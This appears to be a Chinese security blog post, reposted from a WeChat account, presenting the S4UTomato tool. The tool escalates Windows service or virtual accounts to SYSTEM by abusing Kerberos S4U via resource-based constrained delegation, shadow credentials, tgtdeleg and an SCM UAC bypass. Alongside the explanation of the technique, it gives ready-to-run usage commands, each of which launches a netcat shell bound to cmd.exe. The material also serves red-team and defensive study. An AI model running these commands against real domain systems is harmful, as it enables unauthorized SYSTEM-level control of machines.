"土豆 "系列权限升级的朋友应该知道,它可以将服务账户权限提升到本地系统权限。土豆 "的早期利用技术几乎相同:利用 COM 接口的某些特性,欺骗 NT AUTHORITYSYSTEM 账户连接并验证攻击者控制的 RPC 服务器。然后,通过一系列 API 调用,在验证过程中执行中间(NTLM 中继)攻击,从而为本地系统中的 NT AUTHORITYSYSTEM 账户生成访问令牌。最后,该令牌被窃取,然后使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函数传递该令牌并创建一个新进程,以获取 SYSTEM 权限。
关于 Kerberos
在机器加入域的任何情况下,只要您能在 Windows 服务帐户或 Microsoft 虚拟帐户的上下文中运行代码,就可以利用上述技术进行本地权限升级,前提是活动目录尚未进行加固以完全抵御此类攻击。
在 Windows 域环境中,SYSTEM、NT AUTHORITYNETWORK SERVICE 和 Microsoft 虚拟账户用于对加入域的系统计算机账户进行身份验证。理解这一点至关重要,因为在现代版本的 Windows 中,大多数 Windows 服务默认使用 Microsoft 虚拟账户运行。值得注意的是,IIS 和 MSSQL 使用这些虚拟账户,我相信其他应用程序也可能使用它们。因此,我们可以滥用 S4U 扩展来获取本地计算机上域管理员账户 "Administrator "的服务票据。然后,在 James Forshaw (@tiraniddo) 的 SCMUACBypass 的帮助下,我们可以使用该 ticket 创建一个系统服务并获得 SYSTEM 权限。这与 "土豆 "系列特权升级技术中使用的传统方法效果相同。
在此之前,我们需要获得本地机器账户的 TGT(票据授权票据)。这并不容易,因为服务账户权限的限制使我们无法获得计算机的长期密钥,从而无法构建 KRB_AS_REQ 请求。为了实现上述目标,我采用了三种技术:基于资源的受限授权、影子凭证和 Tgtdeleg。我基于 Rubeus 工具集构建了我的项目。
使用方法和示例
C:UserswhoamiDesktop>S4UTomato.exe --help
-d,--要验证的域名(FQDN)。
-s, --Server 域控制器或 LDAP 服务器的主机名。
-m, --ComputerName 要创建的新计算机账户。
-p,--计算机密码 要创建的新计算机账户的密码。
-f, --Force 强制更新计算机对象的 "msDS-KeyCredentialLink "属性。
对象的 "msDS-KeyCredentialLink "属性。
-c,--要运行的命令程序。
-v,--Verbose 输出详细调试信息。
--help 显示帮助屏幕。
--版本 显示版本信息。
通过基于资源的受限授权实现 LEP
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
通过影子证书 + S4U2self 实现 LEP
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
通过 Tgtdeleg + S4U2self 获取 LEP
# 首先通过 Tgtdeleg 获取 TGT
S4UTomato.exe tgtdeleg
# 然后运行 SCMUACBypass 获取 SYSTEM 权限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
项目地址
https://github.com/wh0amitz/S4UTomato
原文始发于微信公众号(Khan安全攻防实验室):权限提升 - 通过 Kerberos 将服务帐户升级到 LocalSystem
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论